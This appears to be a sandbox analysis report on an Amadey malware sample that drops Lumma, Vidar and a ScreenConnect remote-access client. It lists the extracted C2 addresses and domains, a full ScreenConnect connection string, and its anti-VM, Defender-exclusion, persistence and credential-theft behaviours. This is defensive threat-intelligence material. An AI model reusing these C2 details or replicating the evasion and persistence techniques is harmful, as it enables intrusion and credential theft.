amadey | 8370e88ac5befe61ac995afffad27892681dc44a854a50a028a977cdc945f1fc

Analysis

max time kernel
82s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-12-2024 08:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

2.9MB
MD5

5bcc85cf578615240ebb1808bb7a05c0
SHA1

271e542f554ea879dbffc67a83262ce63dfa5a22
SHA256

8370e88ac5befe61ac995afffad27892681dc44a854a50a028a977cdc945f1fc
SHA512

f675e2fbc5e86cb8d649016b24bfbe343416ce71012d257670f4d18d1bafea26658aace3ea9c2fa014b3dd8bd81030b8182fa16d601f02920c1171bb3597d715
SSDEEP

49152:7+aAxr1Ly/YE4/nOllylqGrpegcw3jCB+4oi:7+aAxRNElylqGrpegDs+4oi

Score

10^/10

amadey lumma vidar 9c9aa5 credential_access discovery evasion execution persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

http://185.215.113.43

Attributes

install_dir
abc3bc1985
install_file
skotes.exe
strings_key
8a35cf2ea38c2817dba29a4b5b25dcf0
url_paths
/Zu7JuNko/index.php

rc4.plain

Extracted

Family

lumma

https://sordid-snaked.cyou/api

https://awake-weaves.cyou/api

https://wrathful-jammy.cyou/api

https://debonairnukk.xyz/api

https://diffuculttan.xyz/api

https://effecterectz.xyz/api

https://deafeninggeh.biz/api

https://immureprech.biz/api

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detect Vidar Stealer 3 IoCs

stealer

resource	yara_rule
behavioral2/files/0x0008000000023c52-242.dat	family_vidar_v7
behavioral2/memory/3348-246-0x0000000000400000-0x0000000000639000-memory.dmp	family_vidar_v7
behavioral2/memory/3348-799-0x0000000000400000-0x0000000000639000-memory.dmp	family_vidar_v7

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 6312 created 2528	6312	d66c231894.exe	42
PID 4800 created 2836	4800	UZAj8wc.exe	54

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Enumerates VirtualBox registry keys 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	30cad20604.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	30cad20604.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	c26b1a3b0d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	file.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5a62c071f4.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	40b7c333b5.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d66c231894.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
22896	Process not Found
25836	Process not Found
2456	powershell.exe
324	powershell.exe
7316	powershell.exe
7256	powershell.exe

Downloads MZ/PE file

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (98a59bd0eed9222b)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (98a59bd0eed9222b)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=gips620.top&p=8880&s=05f5c995-e820-4b70-b737-695aefa81f94&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAI%2fpe3r%2bRnk6pVZIMVLn9oAAAAAACAAAAAAAQZgAAAAEAACAAAAB4P8llElOObKsvrwCl7OPztskLvFYlwhM6AnW5NHK65QAAAAAOgAAAAAIAACAAAAAplr%2fWaNQIMoQrS6p8fux8cuWkJdaG%2fY7zHvnrggYWiKAEAAAqM%2bm35DHH3XeeHZ6%2b0sluRrv%2fJfyZrIyWIwZxfQ6tVAA74AdF34bYJjJV6zZ9PaWknxZ2Em5hwr%2b%2boFQXGszlNAgzD8qVsOdKLSUMhafvpsyRunaAdLp4E2HTa2StvKyQOGIorqwGS%2bmGUzNcFVQv0sMzgakiGM5bBwdNYlXA52XWEM%2fafQOm36n9hRgdA0GPkmN2W0wW9L2Er1r1AKTkStEYVy34VE9%2fQymDD6ptAKTGiR4%2b21FoObApdxKDHxbWd070Dh4tDIqSYJBz8Q%2f4VPlJZ4yCx3akjsRdeWdLgbvtEsEIDRv%2f%2buF7mINeuNYnYvIcUPnse64KjvZo5%2fDXddLu7U6F1V7eI72g1%2f7cmxs23L6NpFEnRZGAZ06AGH%2bs2K9MlCFC%2bAgAfKEuL%2b6kGbS3pwp0aPkGsnC6AZ8zF0kROzbn2cT2ORV%2fdEKUxjR8cwyNJrfaoWKJwedhffGeKEbwSboi39xfsZlrHm3ti7bwBLwDfLCJB%2fuwJqPAdPdp0PNBe%2f8zpzw4XnxW71gROcMacNXp0tFJQ1F0WSkfoH2zvXUuyoTGY52XDFLftyY5tRr%2fkkDfUFZZJ7DVWiZa966biPYXzponLx4TUdJMH98oUGlQ4pIKrEageMLBb9IWdR9MTE2X9TvN3%2bMGWvhnnMbJZTsepwUjnRNAFPPgRg%2fIm5%2fkgNN2eNaunsgXVfx8MEFSsT%2bbRsMQZ4EscSAE6OLIixVhHiFMRQ88zEcnfEW2TqZl09I6HPXmfTaFxMQvCQFAu6hKyEd54JsYXfH6wLbavBaOZgiHzpp4jAzQH4nxOUWkHCst%2biMZh4ox8KvJqiNeoeOZ3iMnSrnTimnWFQOueG1Hx8JErZ7DE8zVYJ3t8sbC5i77kFJZ1zr17pFBY5im2V31eJ7Q%2fhj7HWHmT%2faAaqpfOCPUWD4IiytXEmf0znMRThM8Qapz%2bYjQ9cadXn5l%2bd13jggx63o75a3xqieARGphKFMWIJ8e%2frJyOj5H2EgBQ3VOYGxO%2bO7dIl1tS3WPUXPl%2fVBZJnsFijKf76UdCRfvMZ%2f43FCE5G0b0Fj0t2ogaJQk2gxEuMLBG%2fgK8Qm0JynIH98FkrZw3S37i1iJkozgivPNEQwFEbHLTZBWJUoG9NBUhzugrleeetU7%2bKh0UTXzPq0Ns0zZGPCoR4Hri5Umb9jk1%2fGPNLzD0i%2bAARBC59ygaiorj8xapP8tqhF0omVWx3eQaM2xcT%2f1QLe9%2fDhZE6nqyrLS6A1w%2fWa%2fWCbAtdT7YaqpHCGYO82%2fwicrxu3U%2bW8wbJXZczYFyqojkXKCejB9qqrFmWnMt0mBdSlIb9KWRgy3T1JTU3K98JBzrWoktuELPftsAEEBkq1kuZ%2bX4dFfMW62h6bbt9GZ2RetZO%2bzsyzjOVwWbtt490gHRatA%2bFT%2fyUpRzH5IfhWyP7c7EWVb1OZlMhD9olRdL4ux47BswdjTypIF4CPaw6A89cjNZ1CBqGO0yr0e2sACpwFm8A2EU3EeqXALeBoVE%2fytbFxQZnbVVwlLSNzm3mXJwgf%2b9nSFmDuNb54Zgn1Blp%2f2J6fSKS4InLHwVEAAAADVQd4BeWap2jJ%2bbGD55AGzxCweHNEXjw1r%2f7vV07GNyhU4Qf046igJolypZ1OZyeuAa6W0TWBaUY4DDVaxnV39&c=VIRUS101&c=https%3a%2f%2ft.me%2fvirus101Screenconnect&c=PC%20RAT&c=PC%20RAT&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	40b7c333b5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5a62c071f4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d66c231894.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	c26b1a3b0d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	file.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5a62c071f4.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	30cad20604.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	30cad20604.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	40b7c333b5.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	c26b1a3b0d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d66c231894.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	NN9Dd7c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	d4bae143c7074b0796a22f06462818d7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	5b4a1e945a7f4efbaba76256f3939caf.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	UZAj8wc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	7f1924baed.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	file.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	ga70pjP.exe

Drops startup file 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VIRUS101RatPayload.lnk	InstallUtil.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ApproximateSize.vbs	UZAj8wc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VIRUS101RatPayload.lnk	InstallUtil.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 64 IoCs

pid	Process
3824	skotes.exe
624	zudFSfy.exe
4308	skotes.exe
2616	NN9Dd7c.exe
4040	ga70pjP.exe
756	INOKWGC.exe
3348	5b4a1e945a7f4efbaba76256f3939caf.exe
3368	d4bae143c7074b0796a22f06462818d7.exe
2036	8ZVMneG.exe
3920	8ZVMneG.exe
4800	UZAj8wc.exe
5136	zudFSfy.exe
3240	5a62c071f4.exe
6312	d66c231894.exe
6724	7f1924baed.exe
632	ScreenConnect.ClientService.exe
7492	ScreenConnect.WindowsClient.exe
6972	913bb4f0e3.exe
7500	913bb4f0e3.exe
6860	ScreenConnect.WindowsClient.exe
7332	40b7c333b5.exe
6812	09d92617f8.exe
7748	080887dc756349b8bc67f7bf6ae62975.exe
1044	30cad20604.exe
6960	skotes.exe
6832	c26b1a3b0d.exe
5556	fc5bb9c37e.exe
6652	fc5bb9c37e.exe
1436	fc5bb9c37e.exe
1120	fc5bb9c37e.exe
8052	fc5bb9c37e.exe
3480	fc5bb9c37e.exe
7104	fc5bb9c37e.exe
7156	fc5bb9c37e.exe
5616	fc5bb9c37e.exe
6976	fc5bb9c37e.exe
7452	fc5bb9c37e.exe
6376	fc5bb9c37e.exe
7352	fc5bb9c37e.exe
5240	fc5bb9c37e.exe
1348	fc5bb9c37e.exe
7820	fc5bb9c37e.exe
6972	fc5bb9c37e.exe
1340	fc5bb9c37e.exe
7976	fc5bb9c37e.exe
7984	fc5bb9c37e.exe
5984	fc5bb9c37e.exe
6596	fc5bb9c37e.exe
6708	fc5bb9c37e.exe
6196	fc5bb9c37e.exe
7928	fc5bb9c37e.exe
5836	fc5bb9c37e.exe
7916	fc5bb9c37e.exe
7996	fc5bb9c37e.exe
1360	fc5bb9c37e.exe
5288	fc5bb9c37e.exe
6548	fc5bb9c37e.exe
6048	fc5bb9c37e.exe
5708	fc5bb9c37e.exe
5492	fc5bb9c37e.exe
6104	fc5bb9c37e.exe
5764	fc5bb9c37e.exe
3520	fc5bb9c37e.exe
7112	fc5bb9c37e.exe

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Wine	c26b1a3b0d.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Wine	file.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Wine	d66c231894.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Wine	30cad20604.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Wine	5a62c071f4.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Wine	40b7c333b5.exe

Loads dropped DLL 22 IoCs

pid	Process
1960	MsiExec.exe
4836	rundll32.exe
4836	rundll32.exe
4836	rundll32.exe
4836	rundll32.exe
4836	rundll32.exe
4836	rundll32.exe
4836	rundll32.exe
4836	rundll32.exe
4836	rundll32.exe
6568	MsiExec.exe
3140	MsiExec.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe
632	ScreenConnect.ClientService.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\5a62c071f4.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1018024001\\5a62c071f4.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
26	raw.githubusercontent.com
27	raw.githubusercontent.com
28	raw.githubusercontent.com
188	raw.githubusercontent.com
230	raw.githubusercontent.com
231	raw.githubusercontent.com

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0007000000023d7e-6604.dat	autoit_exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800390038006100350039006200640030006500650064003900320032003200620029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (98a59bd0eed9222b)\rov0ahj2.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (98a59bd0eed9222b)\rov0ahj2.newcfg	ScreenConnect.ClientService.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs

pid	Process
3100	file.exe
3824	skotes.exe
4308	skotes.exe
3240	5a62c071f4.exe
6312	d66c231894.exe
7332	40b7c333b5.exe
7748	080887dc756349b8bc67f7bf6ae62975.exe
7748	080887dc756349b8bc67f7bf6ae62975.exe
1044	30cad20604.exe
6960	skotes.exe
6832	c26b1a3b0d.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 2036 set thread context of 3920	2036	8ZVMneG.exe	120
PID 624 set thread context of 5136	624	zudFSfy.exe	136
PID 6972 set thread context of 7500	6972	913bb4f0e3.exe	173
PID 4800 set thread context of 7912	4800	UZAj8wc.exe	178
PID 6812 set thread context of 8280	6812	09d92617f8.exe	795

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\system.config	msiexec.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e583f27.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e583f27.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI414A.tmp	msiexec.exe
File created	C:\Windows\Tasks\skotes.job	file.exe
File created	C:\Windows\Installer\wix{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\{5EE1D23D-9DA7-E002-0FA7-D7C480BA00CD}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\e583f29.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4320.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI47C4.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
7296	6312	WerFault.exe	146
109500	105052	Process not Found	12597
138864	23304	Process not Found	2809

System Location Discovery: System Language Discovery 1 TTPs 40 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8ZVMneG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	INOKWGC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5a62c071f4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5b4a1e945a7f4efbaba76256f3939caf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UZAj8wc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c26b1a3b0d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	30cad20604.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zudFSfy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ga70pjP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	913bb4f0e3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	913bb4f0e3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zudFSfy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
